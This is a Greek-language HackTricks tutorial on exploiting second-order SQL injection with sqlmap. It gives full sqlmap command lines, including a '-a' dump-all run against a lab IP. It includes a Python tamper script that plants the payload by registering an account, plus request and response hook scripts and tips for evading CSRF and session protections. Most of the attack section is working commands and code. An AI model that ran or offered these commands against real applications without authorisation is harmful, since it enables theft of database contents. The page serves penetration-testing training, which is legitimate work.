Second Order Injection με SQLMap

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Το SQLMap μπορεί να εκμεταλλευτεί Second Order SQLis.
Χρειάζεται να δώσετε:

  • Το request όπου το sqlinjection payload θα αποθηκευτεί
  • Το request όπου το payload θα εκτελεστεί

Το request όπου αποθηκεύεται το SQL injection payload υποδεικνύεται όπως σε κάθε άλλη injection στο sqlmap. Το request από το οποίο το sqlmap μπορεί να διαβάσει το output/εκτέλεση της injection μπορεί να υποδειχθεί με --second-url ή με --second-req αν χρειάζεται να υποδείξετε ένα πλήρες request από αρχείο.

Απλό παράδειγμα second order:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Σε αρκετές περιπτώσεις αυτό δεν θα είναι αρκετό επειδή θα χρειαστεί να εκτελέσεις άλλες ενέργειες πέρα από το να στείλεις το payload και να αποκτήσεις πρόσβαση σε μια διαφορετική σελίδα.

Όταν αυτό χρειάζεται, μπορείς να χρησιμοποιήσεις ένα sqlmap tamper. Για παράδειγμα, το ακόλουθο script θα κάνει register έναν νέο χρήστη χρησιμοποιώντας το sqlmap payload ως email και θα κάνει logout.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Ένα SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια injection προσπάθεια με ένα payload και πρέπει να επιστρέφει ένα payload. Σε αυτήν την περίπτωση δεν μας νοιάζει το payload, αλλά μας νοιάζει να στέλνουμε κάποια requests, οπότε το payload δεν αλλάζει.

Άρα, αν για κάποιο λόγο χρειαζόμαστε ένα πιο σύνθετο flow για να εκμεταλλευτούμε το second order SQL injection όπως:

  • Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο “email”
  • Logout
  • Login με εκείνον τον λογαριασμό (login.txt)
  • Αποστολή ενός request για να εκτελεστεί το SQL injection (second.txt)

Αυτή η γραμμή sqlmap θα βοηθήσει:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Χρήσιμα switches σε πραγματικά second-order flows

Το second-order automation συνήθως αποτυγχάνει επειδή το payload storage request δουλεύει, αλλά το execution request είναι noisy, stateful, ή protected. Όταν συμβαίνει αυτό, τα παρακάτω flags είναι συνήθως πιο χρήσιμα από το να προσθέτεις περισσότερα payloads:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Χρήσιμα όταν το store ή το trigger request χρειάζεται ένα νέο anti-CSRF token σε κάθε προσπάθεια.
  • --live-cookies: Φορτώνει ξανά τα cookies πριν από κάθε request. Χρήσιμο όταν ένα browser/Burp macro ανανεώνει το session state στο background.
  • --safe-req και --safe-freq: Διατηρούν το workflow ενεργό όταν η εφαρμογή σε κάνει logout ή ακυρώνει το session μετά από λίγα failed probes.
  • --string, --not-string, --regexp, --code, --text-only: Χρήσιμα όταν η second-order response περιέχει banners, ads, timestamps ή user-generated junk που κάνει το diffing ασταθές.

When --tamper is not enough

Το tamper.py παραμένει ο πιο εύκολος τρόπος για να register a payload, log out, log in again, and trigger execution. Ωστόσο, σε σύγχρονους targets συχνά είναι πιο καθαρό να μεταφέρεις μέρος της λογικής σε request/response hooks:

  • --preprocess: Τροποποιεί ολόκληρο το HTTP request πριν σταλεί. Χρήσιμο όταν ένα second-order flow χρειάζεται ένα extra nonce, ένα extra parameter ή normalization των headers.
  • --postprocess: Καθαρίζει το HTTP response πριν το συγκρίνει το sqlmap. Χρήσιμο όταν το second-order sink είναι wrapped σε dynamic HTML και μόνο ένα μικρό fragment είναι stable.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Σημαντικοί περιορισμοί

  • Μην υποθέτετε ότι το --second-req θα επαναλάβει το ίδιο payload μέσα σε ένα * placeholder στο δεύτερο request. Αν και το trigger request χρειάζεται επίσης την injected τιμή (ή μια παράγωγη εκδοχή της), συνήθως απαιτείται custom tamper, --preprocess, ή local proxy.
  • Μην βασίζεστε στο --eval για το δεύτερο request. Η επίσημη χρήση του --eval τεκμηριώνει το primary request flow· αν και το δεύτερο request χρειάζεται επίσης per-attempt mutations, χειριστείτε τα μέσα στα helper scripts σας.

Αυτό το pattern είναι ιδιαίτερα χρήσιμο όταν το payload αποθηκεύεται σε μέρη όπως:

  • Filenames ή image metadata που ελέγχονται αργότερα
  • Registration/profile fields που αργότερα καταναλώνονται από admin panels
  • Sorting/filtering preferences που αποθηκεύονται server-side και επαναλαμβάνονται αργότερα
  • Workflow state που εκτελείται μόνο μετά από μια preview, export, ή moderation action

References

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks